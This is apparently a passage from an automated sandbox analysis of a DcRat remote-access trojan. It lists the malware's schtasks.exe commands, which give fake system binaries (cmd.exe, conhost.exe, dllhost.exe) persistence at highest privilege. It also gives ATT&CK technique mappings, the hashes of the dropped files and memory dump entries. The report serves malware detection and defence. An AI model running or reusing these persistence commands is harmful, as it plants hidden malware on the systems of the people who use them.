      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3972
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\PortRefhostDll\cmd.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1916
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\PortRefhostDll\cmd.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4992
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "comServerdllc" /sc MINUTE /mo 13 /tr "'C:\Windows\System32\comServerdll.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:4352
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "comServerdll" /sc ONLOGON /tr "'C:\Windows\System32\comServerdll.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1156
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "comServerdllc" /sc MINUTE /mo 5 /tr "'C:\Windows\System32\comServerdll.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:4376
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\comwinrefperfnet\cmd.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:708
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\comwinrefperfnet\cmd.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3052
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\comwinrefperfnet\cmd.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1804
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Templates\conhost.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1468
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Default\Templates\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4340
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Templates\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3244
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "w32tmw" /sc MINUTE /mo 14 /tr "'C:\Program Files\Crashpad\reports\w32tm.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3972
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "w32tm" /sc ONLOGON /tr "'C:\Program Files\Crashpad\reports\w32tm.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2584
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "w32tmw" /sc MINUTE /mo 9 /tr "'C:\Program Files\Crashpad\reports\w32tm.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:4328
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\Program Files\Microsoft Office\Updates\Apply\FilesInUse\CAEF554E-5975-40A2-B1C8-1C08220EB4AB\Registry.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2972
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\Updates\Apply\FilesInUse\CAEF554E-5975-40A2-B1C8-1C08220EB4AB\Registry.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1156
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office\Updates\Apply\FilesInUse\CAEF554E-5975-40A2-B1C8-1C08220EB4AB\Registry.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:3440
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:916
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Scheduled Task/Job: Scheduled Task
      PID:4336
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Scheduled Task/Job: Scheduled Task
      PID:4944
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 6 /tr "'C:\Windows\Resources\Themes\aero\de-DE\cmd.exe'" /f
      1⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1184
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Windows\Resources\Themes\aero\de-DE\cmd.exe'" /rl HIGHEST /f
      1⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3960
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\Windows\Resources\Themes\aero\de-DE\cmd.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Scheduled Task/Job: Scheduled Task
      PID:2616
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Portable Devices\cmd.exe'" /f
      1⤵
        PID:1916
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:4700
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Portable Devices\cmd.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:4060
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 12 /tr "'C:\PortRefhostDll\OfficeClickToRun.exe'" /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:3400
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\PortRefhostDll\OfficeClickToRun.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:4184
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 12 /tr "'C:\PortRefhostDll\OfficeClickToRun.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:3096
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Adobe\RuntimeBroker.exe'" /f
        1⤵
        • Family: DcRat
        PID:1056
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:1768
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Adobe\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:5064
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 13 /tr "'C:\comwinrefperfnet\taskhostw.exe'" /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:1400
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\comwinrefperfnet\taskhostw.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        PID:4944
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\comwinrefperfnet\taskhostw.exe'" /rl HIGHEST /f
        1⤵
        • Family: DcRat
        • Scheduled Task/Job: Scheduled Task
        PID:5180
      • C:\Program Files (x86)\Windows Portable Devices\cmd.exe
        "C:\Program Files (x86)\Windows Portable Devices\cmd.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5540
      • C:\PortRefhostDll\cmd.exe
        "C:\PortRefhostDll\cmd.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5572
      • C:\Program Files\dotnet\swidtag\conhost.exe
        "C:\Program Files\dotnet\swidtag\conhost.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5672
      • C:\Users\Default\Templates\conhost.exe
        "C:\Users\Default\Templates\conhost.exe"
        1⤵
        • Executes dropped EXE
        PID:5704
      • C:\Program Files\Crashpad\reports\w32tm.exe
        "C:\Program Files\Crashpad\reports\w32tm.exe"
        1⤵
        • Executes dropped EXE
        PID:5712
      • C:\Windows\Resources\Themes\aero\de-DE\cmd.exe
        "C:\Windows\Resources\Themes\aero\de-DE\cmd.exe"
        1⤵
        • Executes dropped EXE
        PID:5720
      • C:\Program Files\Microsoft Office\Updates\Apply\FilesInUse\CAEF554E-5975-40A2-B1C8-1C08220EB4AB\Registry.exe
        "C:\Program Files\Microsoft Office\Updates\Apply\FilesInUse\CAEF554E-5975-40A2-B1C8-1C08220EB4AB\Registry.exe"
        1⤵
        • Executes dropped EXE
        PID:5880
      • C:\Windows\System32\comServerdll.exe
        "C:\Windows\System32\comServerdll.exe"
        1⤵
        • Executes dropped EXE
        PID:5952
      • C:\comwinrefperfnet\taskhostw.exe
        "C:\comwinrefperfnet\taskhostw.exe"
        1⤵
        • Executes dropped EXE
        PID:5964
      • C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe
        "C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe"
        1⤵
        • Executes dropped EXE
        PID:6024
      • C:\Program Files (x86)\Adobe\RuntimeBroker.exe
        "C:\Program Files (x86)\Adobe\RuntimeBroker.exe"
        1⤵
        • Executes dropped EXE
        PID:6088
      • C:\comwinrefperfnet\cmd.exe
        "C:\comwinrefperfnet\cmd.exe"
        1⤵
        • Executes dropped EXE
        PID:6108
      • C:\PortRefhostDll\OfficeClickToRun.exe
        "C:\PortRefhostDll\OfficeClickToRun.exe"
        1⤵
        • Executes dropped EXE
        PID:6116

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            PowerShell

            1
            T1059.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Impair Defenses

            2
            T1562

            Disable or Modify Tools

            2
            T1562.001

            Modify Registry

            3
            T1112

            Credential Access

            Discovery

            Process Discovery

            1
            T1057

            Query Registry

            2
            T1012

            System Information Discovery

            3
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            RCX7966.tmp
            • Path C:\PortRefhostDll\RCX7966.tmp
            • Size 2.8MB
            • SHA256 1b78c7077ce562e3cdab22bb2f0b0cb7ca8af815bca66793d4e7122c4fa867f5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Runtimemonitor.exe
            • Path C:\PortRefhostDll\Runtimemonitor.exe
            • Size 878KB
            • SHA256 82ef7edb3b8d8dd357f81cd85ca0e1bf0a8d2eb83a5e3c5faa0eb1cd1c6a4881
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cmd.exe
            • Path C:\PortRefhostDll\cmd.exe
            • Size 2.8MB
            • SHA256 0e7fc46d5b527adc09f2b7ad24530c2334c2488cf876e489ac65d006b2081bcc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            kwADOEwaHV0iJLCsBWRK.vbe
            • Path C:\PortRefhostDll\kwADOEwaHV0iJLCsBWRK.vbe
            • Size 196B
            • SHA256 e58907cea65f503af1f2a17131a4f218ba9277f076dcf880108880b1d59646c2
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            wdhxs.bat
            • Path C:\PortRefhostDll\wdhxs.bat
            • Size 38B
            • SHA256 ff8f058de14bd985397bfe302cbdde6de775f827e022a708ebf9ac8e0a69bb6a
            • MD5 SHA1 SHA512
            Submit Download

            WUDFHost.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WUDFHost.exe.log
            • Size 1KB
            • SHA256 ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 58f0b34256bbc92d0265c304a7b46997e1ce629c45930d407d6a01be10838993
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            123.exe
            • Path C:\Users\Admin\AppData\Local\Temp\123.exe
            • Size 1.2MB
            • SHA256 9abfe1deb23c6eeeebfc372c252dbf4e78b7bda95c56d51726e4e9c7f5893d6d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Built.exe
            • Path C:\Users\Admin\AppData\Local\Temp\Built.exe
            • Size 10.1MB
            • SHA256 ca125330c78a468501c17c921a61200448d96d8c52d473561a4a4e1d1cb3e3f4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            DCRatBuild.exe
            • Path C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
            • Size 3.1MB
            • SHA256 3d7c1f81a3e2f808f148500ddc43addfce73cb4a192491033f9907cb99762a8e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            VCRUNTIME140.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\VCRUNTIME140.dll
            • Size 117KB
            • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            VCRUNTIME140_1.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\VCRUNTIME140_1.dll
            • Size 48KB
            • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _asyncio.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_asyncio.pyd
            • Size 38KB
            • SHA256 e2c753cf78dc388298f15ce3d90b064a3a832f5805eabd3270dfdb64b48e42a7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _bz2.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_bz2.pyd
            • Size 49KB
            • SHA256 d48eb7460865e50328a49c7cce4e1e96e5723b771d71640ab6eaafde4a0557d1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _ctypes.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_ctypes.pyd
            • Size 63KB
            • SHA256 34f8f0be6bf6631b1e78379eb69349f5017cb47c4aaea3cc0dc38b265cb8e8d7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _decimal.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_decimal.pyd
            • Size 118KB
            • SHA256 ccf7f7e1f56c5abd9aff5248335349f223a415f7d019db6a4780cfec7af21095
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _hashlib.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_hashlib.pyd
            • Size 38KB
            • SHA256 5309d38a7a3d7f7895ff1dcb3c5d1495c4e64c40adacbc5f4403f803399d4b5c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _lzma.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_lzma.pyd
            • Size 88KB
            • SHA256 cbbd749034c3eeb289ba855d336607cdd61e2de81eaa8cd062ee9f517ea7ba1d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _multiprocessing.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_multiprocessing.pyd
            • Size 28KB
            • SHA256 caa733840d30a5325fd0783503bb281e443149481d4be8e0de94bce39bdae24e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _overlapped.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_overlapped.pyd
            • Size 35KB
            • SHA256 f6e4a3b546e93eb9386dbf2f33ec1abf6f0bed715493fc109c524c59528c43c8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _queue.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_queue.pyd
            • Size 27KB
            • SHA256 b35c25275915a8c67daffebbfe29245fe10a9c8d43f8eed9bd0135ff50467470
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _socket.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_socket.pyd
            • Size 46KB
            • SHA256 e6cf4a5fa5fdf14b62b2e2fb73042f6a71573797f0161466dfbc92b98ccae434
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _sqlite3.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_sqlite3.pyd
            • Size 60KB
            • SHA256 c47ce232b55190bc80982f67354976dbf03b15f92c27e07e5d88bc6c12e4d11a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _ssl.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_ssl.pyd
            • Size 68KB
            • SHA256 9993e6ecf724a254d84bf8d2000150b492a14dc77c9fe7a7b2ad65a4bd90dabb
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _wmi.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\_wmi.pyd
            • Size 31KB
            • SHA256 0876e75a5d5e3272492312f20bf7f1b7cedadefe438b34a3df0370b377343ffa
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            base_library.zip
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\base_library.zip
            • Size 1.3MB
            • SHA256 2168cece8ba280bcd8630eebe5d53d0a0446a8bcbce3b983d0a6451e03846cf4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            blank.aes
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\blank.aes
            • Size 93KB
            • SHA256 06e67ae050b61856203ea30b551b48529dc4afece751f5e29ec081d2c10b31db
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libcrypto-3.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\libcrypto-3.dll
            • Size 1.6MB
            • SHA256 bd11a1aed1a556c64c6b0543d2ebc24b82edae20149187298e751cb6b5278948
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libffi-8.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\libffi-8.dll
            • Size 29KB
            • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libssl-3.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\libssl-3.dll
            • Size 223KB
            • SHA256 716ccd55d1edbade9b968f60c6d9007ab7ab59193d08ae62d0187bf593495f94
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pyexpat.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\pyexpat.pyd
            • Size 90KB
            • SHA256 3dfc095a2cfcbc3c91895a779bbe275afadc4875742f4dd5548a20931c1e1844
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python313.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\python313.dll
            • Size 1.8MB
            • SHA256 9a62e2397cd2f5f044a76c876c982cff73dd82a344cb136fc282ffbeecd5eac8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            rar.exe
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\rar.exe
            • Size 615KB
            • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            rarreg.key
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\rarreg.key
            • Size 456B
            • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            select.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\select.pyd
            • Size 27KB
            • SHA256 b86b85a74039c550f62233c08e6705181172b10fe24336cea47f4e321c7602ed
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Lorem ipsum.txt
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
            • Size 1KB
            • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            sqlite3.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\sqlite3.dll
            • Size 661KB
            • SHA256 4b39fef2acfa91b7456389eb9300f3bef8e117d118b04e84a6dd6ea1520fbe2b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            unicodedata.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI12722\unicodedata.pyd
            • Size 263KB
            • SHA256 438604e9ae17022e55e8a1d6bb9c2dfdd20f652d939bdea75d12380ca6f007e1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            __PSScriptPolicyTest_hp0lopgx.euw.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hp0lopgx.euw.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            U5o1V84T5XpfbHy9S.vbe
            • Path C:\comwinrefperfnet\U5o1V84T5XpfbHy9S.vbe
            • Size 214B
            • SHA256 7f64c903d42beabc6c0876c82a1fc2d7b449cd041f8fe1f4ba85ccc3e5864b02
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/212-248-0x000002ED8DB70000-0x000002ED8DBA0000-memory.dmp
            Download

            memory/492-151-0x000001A037600000-0x000001A037622000-memory.dmp
            Download

            memory/492-170-0x000001A01EEA0000-0x000001A01EEAC000-memory.dmp
            Download

            memory/492-169-0x000001A01D620000-0x000001A01D650000-memory.dmp
            Download

            memory/616-273-0x000002D1F9160000-0x000002D1F9190000-memory.dmp
            Download

            memory/876-186-0x000002211CC00000-0x000002211CC30000-memory.dmp
            Download

            memory/932-251-0x000002A34B4D0000-0x000002A34B500000-memory.dmp
            Download

            memory/996-171-0x000002222CB00000-0x000002222CB30000-memory.dmp
            Download

            memory/996-172-0x000002222E3A0000-0x000002222E3AC000-memory.dmp
            Download

            memory/996-261-0x000002739E020000-0x000002739E050000-memory.dmp
            Download

            memory/1012-210-0x000002AA7CE90000-0x000002AA7CEC0000-memory.dmp
            Download

            memory/1060-237-0x000001E2554B0000-0x000001E2554E0000-memory.dmp
            Download

            memory/1156-277-0x0000014B0A8D0000-0x0000014B0A900000-memory.dmp
            Download

            memory/1172-307-0x0000012BDEAC0000-0x0000012BDEAF0000-memory.dmp
            Download

            memory/1180-260-0x000001740BBE0000-0x000001740BC10000-memory.dmp
            Download

            memory/1272-211-0x000002079F7E0000-0x000002079F810000-memory.dmp
            Download

            memory/1352-200-0x000001F149DB0000-0x000001F149DE0000-memory.dmp
            Download

            memory/1492-250-0x0000028671880000-0x00000286718B0000-memory.dmp
            Download

            memory/1496-241-0x0000012641320000-0x0000012641350000-memory.dmp
            Download

            memory/1528-198-0x0000029A98F80000-0x0000029A98FB0000-memory.dmp
            Download

            memory/1580-191-0x00000250759F0000-0x0000025075A20000-memory.dmp
            Download

            memory/1612-311-0x00000173FD4C0000-0x00000173FD4F0000-memory.dmp
            Download

            memory/1756-242-0x000001F6C7020000-0x000001F6C7050000-memory.dmp
            Download

            memory/1892-235-0x00000288B4F90000-0x00000288B4FC0000-memory.dmp
            Download

            memory/1916-312-0x000001209FD70000-0x000001209FDA0000-memory.dmp
            Download

            memory/1972-257-0x000002549E560000-0x000002549E590000-memory.dmp
            Download

            memory/2188-173-0x00000000026A0000-0x0000000002715000-memory.dmp
            Download

            memory/2200-203-0x00000257DFE90000-0x00000257DFEC0000-memory.dmp
            Download

            memory/2616-279-0x0000027C60730000-0x0000027C60760000-memory.dmp
            Download

            memory/2660-252-0x0000018071050000-0x0000018071080000-memory.dmp
            Download

            memory/2692-209-0x00000276E2620000-0x00000276E2650000-memory.dmp
            Download

            memory/2788-267-0x000002051B480000-0x000002051B4B0000-memory.dmp
            Download

            memory/2804-243-0x0000024C8A6B0000-0x0000024C8A6E0000-memory.dmp
            Download

            memory/2816-208-0x0000020C20560000-0x0000020C20590000-memory.dmp
            Download

            memory/2864-143-0x00007FFA7FE30000-0x00007FFA7FFB9000-memory.dmp
            Download

            memory/2864-554-0x00007FFA8D9D0000-0x00007FFA8D9E6000-memory.dmp
            Download

            memory/2864-175-0x00007FFA8D9D0000-0x00007FFA8D9E6000-memory.dmp
            Download

            memory/2864-547-0x00007FFA80500000-0x00007FFA80B69000-memory.dmp
            Download

            memory/2864-548-0x00007FFA8DA30000-0x00007FFA8DA57000-memory.dmp
            Download

            memory/2864-64-0x00007FFA80500000-0x00007FFA80B69000-memory.dmp
            Download

            memory/2864-549-0x00007FFA92900000-0x00007FFA9290F000-memory.dmp
            Download

            memory/2864-550-0x00007FFA8DBC0000-0x00007FFA8DBDA000-memory.dmp
            Download

            memory/2864-551-0x00007FFA8DA00000-0x00007FFA8DA2B000-memory.dmp
            Download

            memory/2864-176-0x00007FFA7FFC0000-0x00007FFA804F3000-memory.dmp
            Download

            memory/2864-552-0x00007FFA928D0000-0x00007FFA928DD000-memory.dmp
            Download

            memory/2864-229-0x00007FFA8D930000-0x00007FFA8D955000-memory.dmp
            Download

            memory/2864-227-0x00007FFA7FE30000-0x00007FFA7FFB9000-memory.dmp
            Download

            memory/2864-213-0x00007FFA80500000-0x00007FFA80B69000-memory.dmp
            Download

            memory/2864-553-0x00007FFA8DDC0000-0x00007FFA8DDCF000-memory.dmp
            Download

            memory/2864-212-0x00000291189A0000-0x00000291189D0000-memory.dmp
            Download

            memory/2864-74-0x00007FFA8DA30000-0x00007FFA8DA57000-memory.dmp
            Download

            memory/2864-570-0x00007FFA8D960000-0x00007FFA8D979000-memory.dmp
            Download

            memory/2864-106-0x00007FFA8DBC0000-0x00007FFA8DBDA000-memory.dmp
            Download

            memory/2864-117-0x00007FFA928D0000-0x00007FFA928DD000-memory.dmp
            Download

            memory/2864-571-0x00007FFA8D9C0000-0x00007FFA8D9CD000-memory.dmp
            Download

